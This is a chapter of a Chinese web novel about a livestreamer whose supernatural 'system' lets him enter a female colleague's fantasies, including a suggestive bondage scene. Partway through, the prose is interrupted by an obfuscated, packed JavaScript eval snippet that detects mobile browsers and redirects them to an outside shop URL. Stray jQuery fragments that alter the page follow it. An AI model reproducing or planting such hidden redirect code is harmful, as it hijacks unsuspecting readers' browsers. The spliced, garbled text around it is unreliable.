镜头先从一截汗湿的麦色腰腹开始。
汗珠缓慢地滑过清晰的肌肉—沟壑，在胯骨边缘那道低低压着的灰色运动裤松紧带上，聚成一道颤巍巍的水痕。
背景音乐是低沉的鼓点，混着有些急促的、刻意压低的运动呼吸声。
一只手入镜了，指节分明，青筋微凸，随意地搭在小腹上，指甲修剪得很干净。
随着音乐鼓点，那只手的拇指懒懒地勾住裤腰边缘，往下压了压，露出更深的肤色，和隐约的人鱼线阴影。
然后迅速松开，布料回弹，发出一声轻微的“啪”。
镜头随着男人的动作轻微晃动，始终避开头颈，目光所及，只有不断起伏的胸膛，锁骨凹陷处的细小汗珠，以及随动作拉伸出饱满弧度的肩臂线条。
弹幕疯狂滚动，礼物特效不断炸开。
男人喉咙里滚出一声很低的笑，气息扑在收音麦上，激起一小阵暧昧的电流杂音。
一只手拿起一旁的水瓶，慢镜头般挤压瓶身。
透明的水流溢出唇角，顺着下颌、喉结、胸膛一路奔涌而下，汇入最初的腰腹沟壑，将那一片皮肤浸得水光淋漓。
他随意抹了一下，手腕一转，将空瓶精准地抛向镜头外。
“今天的运动……”他的声音沙沙的，带着刚喝过水的清爽，“……就到此为止了。”
画面边缘，只看见他微湿的发梢，和一抹似乎向上扬起的、看不见全貌的唇角弧度。
直播间的灯关掉时，程迦没有立刻起身。
高级公寓的落地窗外是整座城市的夜景，灯光一层一层铺开，像一张被精心设计过的背景板。
他坐在镜头前，屏幕上最后的弹幕刚刚刷过。
【别走。】
【今天状态好狠。】
【这手停得也太会了。】
他没有回应。倒计时归零，直播结束。
后台的数据在刷新，数字一路往上跳，新的幻想记录同步结算。系统的提示在他脑海里一条条落下，像是安静而高效的流水线。
稳定，高频，符合预期。
他本该满意，可却因为一件不寻常的小事，眉头紧锁。
那个熟悉的头像，没有出现。
直播已经结束，他还在观众列表里寻找，刷新，再刷新。
依然空缺。
“微微不微”。
她几乎从不缺席。不刷存在感，不抢前排，却永远在那里——她的观看记录，比所有喧闹的弹幕都要安静，也要稳定。
没忍住好奇，他点进她的主页。
页面亮着。两分钟前，她刚点过一个赞，却不是给他的。
是另一个新开的女主播账号，长得有些眼熟，封面直白，定位鲜明，镜头语言里透着刻意的生涩。
程迦盯着那个直播间看了三秒，然后按下了举报。理由选得标准而迅速：“疑似违规内容。”
提交成功的提示跳出来时，他才意识到自己动作有多快。
一股烦躁毫无预兆地窜上来，不尖锐，却闷闷地堵在胸口。
那感觉像某种领地意识被轻轻踩过——仿佛一个长久以来只属于他的位置，被谁短暂地霸占了。
他摘下苹果耳机，走到桌边拿起手机。工作群里还有消息亮着。
指尖在对话框上悬停片刻，还是敲了下去：
@许知微白天要的那组数据，整理好了吗？
发送。
手机被放回桌面。他转身去倒水，回来时屏幕仍暗着。
没有回复。
程迦皱了皱眉。
这不像她。许知微回消息一向很快，不热情，但及时。
他又瞥了一眼时间。
快十二点了。
往常这个点，她应该还没睡。
睡这个字，恰如其分地把那层被日常压得很好的平整，忽然掀开了一角。某种情绪细细密密地堆上来，无声无息，却让人坐不住。
他坐回椅子里，在脑海里打开系统界面。
在一排排结算记录中，很快找到了那条：
【来源：许知微】
【幻想神游次数：19】
那是她最近一次幻想他，或者说，幻想他的擦边号。
他知道那是什么样的。
在她的幻想里，他被清晰地看见，被完美地安排，被亲昵地注视。
那种注视，让他放松，也让他沉迷。
所以，他又一次点开了神游。
世界瞬间安静下来。
外界的灯光、消息、时间，全部退成遥远的背景。
空气清澈又带着微凉的静谧，像沉入深水之底，一切声响与光线都被滤得绵软柔和。月光并非泼洒进来，而是如带着实感的绸缎，一层一层铺满房间，泛着珍珠贝母似的细腻光泽。
他被某种温柔的重量定在原地。
像是藤蔓，或是缓缓移动的水蛇。
身体沉得抬不起一根手指，却奇异地没有恐慌。
这是一种被精心布置、全然接纳的束缚。
他仰躺着，视线刚好能捕捉她垂落的发梢，在月光下沁出幽蓝的晕。
她在他上方，背对着那扇虚假的窗，面容浸在阴影里，只有眼睛亮得惊人，如同两潭极深的静水，清清楚楚映出他此刻的模样：无法动弹，彻底袒露，甚至透出一种引颈就戮般的顺从。
只可惜，没有他的脸。
她的指尖缓缓落下来。
先是锁骨。
凉的，带一丝似有若无的香气。
与其说是抚摸，不如说是丈量，她指尖沿着骨骼的弧线缓缓推移，力道恒定得像在描摹某件易碎的瓷器。
他的皮肤在那触碰下泛起细小的战栗，呼吸微微一滞。
不害怕，更多的是期待，在寂静中无声嗡鸣。
她好似察觉了。
阴影里的唇角，似乎极轻地弯了一下。
手指下滑，停在他睡衣的纽扣上——没有拉扯，只有耐心到极致的解开。
一颗，两颗。
布料向两侧滑开，凉意覆上胸膛。
他的心跳在安静中显得沉重，每一次搏动都震动着紧贴的皮肤，无处隐藏。
他本该感到羞耻。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127072|196129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可涌上来的，却是一种奇异的、被曝露于审视下的兴奋。
她的指尖继续游走，经过肋骨，停在腰侧。没有情欲的揉捏，只是停驻，用指腹感受他因紧张而绷紧的肌理线条。
然后，她俯身。
气息拂过耳畔，带着微凉的甜意。
她的唇靠近，近到他能感知那份柔软的轮廓，悬在肌肤上方，制造出一种悬而未决的、近乎折磨的亲密。
他渴望唇的落下，却又不得。
他的喉结无声滚动，细响在绝对安静中被无限放大。
“别动。”
她的声音很低，像头发搔过耳膜，只是一个陈述，却听着像一个早已洞悉他处境的宣告。
因为，他也确实动不了。
但更深的战栗从脊椎窜起——她分明是知道他不能动。
这种知晓本身，成了最致命的撩拨。
她的牙齿，代替了嘴唇，落在肩头，是一种精准的、试探性的轻啮。先用齿尖轻轻刮过皮肤，感受他瞬间的僵硬，然后缓缓施加压力。
痛感是清晰的，但被严格地控制在一个愉悦的阈值边缘，像一根绷紧的、随时会弹出美妙音符的琴弦。
她似乎能感觉到他肌肉在抵抗与迎合之间的微妙颤抖，似乎能听到他压抑在喉咙深处的、短促的吸气。
他总觉得，她知道，她全知道。
她甚至调整了角度，让那齿痕落在最敏感的位置，每一次细微的碾磨，都精准地踩在他从未言明、却深植于骨的渴望节拍上。
痛与快意的界限彻底模糊，化作一股滚烫的电流，在他被束缚的躯体里乱窜，无处可逃，也不想逃。
眼泪没有涌出，但他的眼角微微湿润了。不是因为痛苦或悲伤，而是因为一种过于汹涌的、被全然理解和接纳的冲击。
在这由她主导的、冷静甚至克制的水域里，他正在心甘情愿地下沉。
她的手指回到他无法动弹的掌心，轻轻撬开他无意识握紧的拳，将自己的手指嵌入，扣住。像是一种确认，确认他的存在，确认他正沉浸于这份被精心设计的无力之中。
月光缓缓偏移，将他们的影子投在墙壁上——一道是从容笼罩的轮廓，一道是全无防备的舒展形态。
寂静的共谋，在这颠倒的梦境里，束缚成了最亲密的拥抱，掌控反而带来最深的安全感。
他闭上眼，在心底，对着这片主宰了他的、温柔的黑暗，发出一声无声而圆满的叹息。
没人懂，这种被精准地置于无法动弹的境地，于他而言，却能成为另一种享受。
呼吸渐稳。
躁动被引导、被覆盖、被妥善安放回那个熟悉的位置。
发泄中带着确认——确认自己仍被某种注视需要，仍占据着某个不可替代的中心。
退出时，手机上的时钟已过去许久。
屏幕依旧暗着。
那股空落并未消散，反而愈发清晰，沉甸甸地坠在意识边缘。
现实中的她，还是没有回复自己。
看来，明天得好好问问——
她今晚，究竟去哪里，在做什么？